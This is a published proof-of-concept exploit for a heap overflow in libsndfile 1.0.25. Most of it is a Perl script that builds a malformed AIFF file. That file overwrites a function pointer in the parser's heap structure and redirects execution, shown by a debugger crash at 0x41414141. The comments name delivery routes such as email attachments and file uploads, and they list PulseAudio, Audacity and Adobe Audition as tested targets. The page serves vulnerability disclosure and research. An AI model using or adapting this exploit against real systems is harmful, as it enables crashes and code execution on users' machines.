libsndfile 1.0.25 Heap Overflow
Posted on 13 October 2015
#!/usr/bin/env perl # # Author: Marco Romano (@nemux_) - 07 Oct 2015 # # PoC for libsndfile <= 1.0.25 (latest version) Heap overflow # # run ./poc.pl to make nemux.aiff file. Now it can be delivered in different ways. # # Possible attack vectors: # - Firefox (on Linux) -> SWF/Audio play -> pulseaudio -> libsndfile ?? (not tested) # - Email attachment # - TCP socket connection (for audio server only) # - File upload (ex. server side audio file manipulation, interactive voice responder) # - etc... # ----------------------------------------------------------------------------------------- # [*] Affected products: -- All products using libsndfile (a non-exhaustive list below) # # [-] PusleAudio - http://www.freedesktop.org/wiki/Software/PulseAudio/ (TESTED) # Installed by default on most linux environments with libsndfile too (Ex.: Ubuntu, Debian) # [-] Jack AudioConnectionKit- http://www.jackaudio.org (TESTED) # Available for Linux, Win, OSX (List of applications http://www.jackaudio.org/applications/) # [-] Adobe Audition - http://www.adobe.com/products/audition.html (TESTED) # [-] Audacity - http://www.audacityteam.org/ (TESTED) # [-] Asterisk-eSpeak Module - https://zaf.github.io/Asterisk-eSpeak/ (NOT TESTED) # # run an "apt-cache rdepends libsndfile1" to see other interesting dependecies # searching around i found that library is widley used on IOS and Android projects too # ------------------------------------------------------------------------------------------ # [*] libsndfile web site references # # [-] http://www.mega-nerd.com/libsndfile/ # [-] https://github.com/erikd/libsndfile.git # [-] https://en.wikipedia.org/wiki/Libsndfile # # Note: (wikipedia reports that LAME encoder depends by libsndfile too # but i didn't find this dependecy...) ######################################################################################## #### Vulnarability is based on the wrong management of the headindex and headend values. #### While parsing a specially crafted AIFF header the attacker can manage index values #### in order to use memcpy(...) to overwrite memory heap. ######################################################################################## #### # Some parts of the source code: # # -- common.c:337 [*] # ... # #define SF_STR_BUFFER_LEN (8192) # #define SF_HEADER_LEN (4100 + SF_STR_BUFFER_LEN) # ... # typedef struct sf_private_tag # { # ... # ... # /* Index variables for maintaining logbuffer and header above. */ # ... # int headindex, headend ; # ... # /* Virtual I/O functions. */ # int virtual_io ; # SF_VIRTUAL_IO vio ; # ... # ... # } SF_PRIVATE; # # Take a look to the source of aiff.c: # -- git clone https://github.com/erikd/libsndfile.git # # src/aiff.c:403 # while (!done) { ... } # --> # src/common.c: # int psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...) { } # --> --> # src/common.c:793 # static int header_read (SF_PRIVATE *psf, void *ptr, int bytes) # --> --> --> # src/common.c: # static int header_read(...) { # ... # ( here we can write content of file outside the buffer if headindex is ) # ... # memcpy (ptr, psf->header + psf->headindex, bytes) ; # psf->headindex += bytes ; # # } /* header_read */ # # Thourgh a specially crafted AIFF header we can # 1- increase and decrease the headindex value regardless what should be its real value # 2- Overwriting memory with arbitrary data... # ### Pulseudio test on x86_64 # # Starting program: /usr/bin/paplay nemux.aiff # [Thread debugging using libthread_db enabled] # Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". # Program received signal SIGSEGV, Segmentation fault. # [----------------------------------registers-----------------------------------] # RAX: 0x41414141 ('AAAA') # RBX: 0x60d3e0 --> 0x0 # RCX: 0x610a80 --> 0x0 # RDX: 0x44444444 ('DDDD') # RSI: 0x1 # RDI: 0x7ea # RBP: 0x36b0 # RSP: 0x7fffffffd958 --> 0x7ffff76cfe71 (pop rbx) # RIP: 0x41414141 ('AAAA') # ... # [-------------------------------------code-------------------------------------] # Invalid $PC address: 0x41414141 # [------------------------------------------------------------------------------] # Legend: code, data, rodata, value # Stopped reason: SIGSEGV # 0x0000000041414141 in ?? () ######### ########################################################################################## my $header_aiff_c = "x46x4Fx52x4D" . ### FORM and VERSION "x00x00xD0x7C" . "x41x49x46x43" . "x42x56x45x52" . "x00x00x00x04" . "xA2x80x51x40" . "x43x4Fx4Dx4D" . ### COMM Chunk and Compression NONE (PCM) "x00x00x00x11" . "x00x01x00x00" . "x00x00x00x10" . "xF3x0CxFAx00" . "x00x00x00x00" . "x00x00x4Ex4F" . "x4Ex45x0Ex6E" . "x6Fx74x20x63" . "x63x6Dx92x72" . "x65x73x53x65x64x00" . "x53x53x4Ex44" . ### 2 SSND Chunks "x00x00x00x40" . "x00x00x00xAA" . "xBDxBDxC5x58" . "xBDx96xCAxB0" . "xE9x6Fx0AxFE" . "x24xCDx26x65" . "x73x73x65x64" . "x00x53x53x4E" . "x44x00x00x00" . "x40x00x00x00" . "x00xF8x72xF3" . "x59xFBx56xFE" . "x00x00x00x3E" . "xE9x22x66x94" . "x4Ex66x55x94" . "x4ExD4xD7xC5" . "x42x49x61xC4" . "x43x4Fx4Dx54" . ### 2 COMT Chunks "x00x00x00x26" . "x00x01x00x20" . "x68x17x0Cx10" . "x25x03x00x10" . ### 0x2503 items "x03x80xFFx37" . "x52x00x00x00" . "x04xA2x8Ex51" . "x40x43x4Fx4D" . "x54x00x00x0B" . "x26x00x01x00" . "x20x68" . "x17x00x10x03" . ### Start wrong and junk chunks (they will trigger default block in the switch statement in aiff.c) "x03x00x10x1B" . "x80xFFxFFx4F" . "x4Ex45x1Fx6E" . ### my debug: heap 0x161e0d8 "x6Fx00x01x00" . ### my debug: heap 0x161e0dc "x00xE4x7Fx72" . ### ... "x00x00x00xD7" . "xBAx17xFFxE3" . "x1Fx40xFFx20" . "x18x08xDDx18" . "x00x28x00x28" . "x00x28x40x28" . "x00x28x00x28" . "x00x28xFFxFF" . "xFFx80xF7x17" . "x00x18x01x00" . "x20x68x17x0C" . "x10x03x03x00" . "x10x03x80xFF" . "xFFx4Fx4Ex45" . "x0Ax6Ex70x00" . "x18xDEx3Ax08" . "x00x18x21xA6" . "x05x7Fx40x00" . "x08xFFx5Dx00" . "xF0x00x4Fx00" . "x6AxFFx89x9D" . "xDAx07xB6xFF" . "x2Cx92xB3x0D" . "xE4x40xBBx23" . "x00x18x00x38" . "x00x63x00x28" . "x00x90xFFxFF" . "x20x18x08xDD" . "x18x00x28x00" . "x28x00x5ExFC" . "x78xD9xADxCD" . "x9Ex3ExE9x21" . "x55x94x4Ex85" . "x51x94x4ExA6" . "xD7xC5x42xA7" . "x2Ax55xC4x9F" . "x43x4Fx4Dx54" . ### here start next COMT Chunk with 0x36B0 items "x08x00x00x26" . "x00x01x00x20" . "x68x17x0CxDD" . "x36xB0"; #### end of header... my $file= "nemux.aiff"; if ($ARGV[0] eq "h" || $ARGV[0] eq "help") { print " [*] POC for libsndfile <= 1.0.25 (latest version) "; print "[*] Heap overflow vulnerability "; print "[*] Author: Marco Romano (@nemux_) - 07 Oct 2015 "; print " Just run " . $0 . " (output will be "nemux.aiff" file) "; exit 0; } my $eax_addr = 0x41414141; my $edx_addr = 0x44444444; ##### #### We are going to overwirte psf structure allocated in the heap ##### my $content_file = pack('Q', $eax_addr); $content_file .= "x90" x ( 21146 - length pack('Q',$eax_addr) ); ##### ### In the psf structure we will overwrite "int virtual_io" with a true value, and vio.seek function pointer ### with an arbitrary address. ### in this way the block below will be triggred in file_io.c: ### ... ### if (psf->virtual_io) ### return psf->vio.seek (...); ### ##### my $rax_overwrite = pack('Q',$eax_addr); ### overwrite vio.seek pointer here my $padding = "x43" x 24; ### .... my $rdx_overwrite = pack('Q',$edx_addr); ### overwrite rdx here ... my $padding_end_file = "MOMIMANHACKERNOW" x 7; ### not useful but funny... -_- print " [*] Making AIFF file: "nemux.aiff""; my $payload = $header_aiff_c . $content_file . $rax_overwrite . $padding . $rdx_overwrite . $padding_end_file; print " [*] Done... AIFF File Size: ".length($payload)." "; print " Is it over? ... Hello? ... Did we win? (cit.) "; open($FILE,">$file"); print $FILE $payload; close($FILE); print " [+] You can test it on OSX and Linux with Audacity - linux command line /usr/bin/audacity namux.aiff "; print "[+] You can test it on OSX Windows and Linux - with Adobe Audition"; print " Note: Adobe Audition will trigger the bug just when it scans the directory that contains this aiff file "; print "Marco Romano @nemux_ ";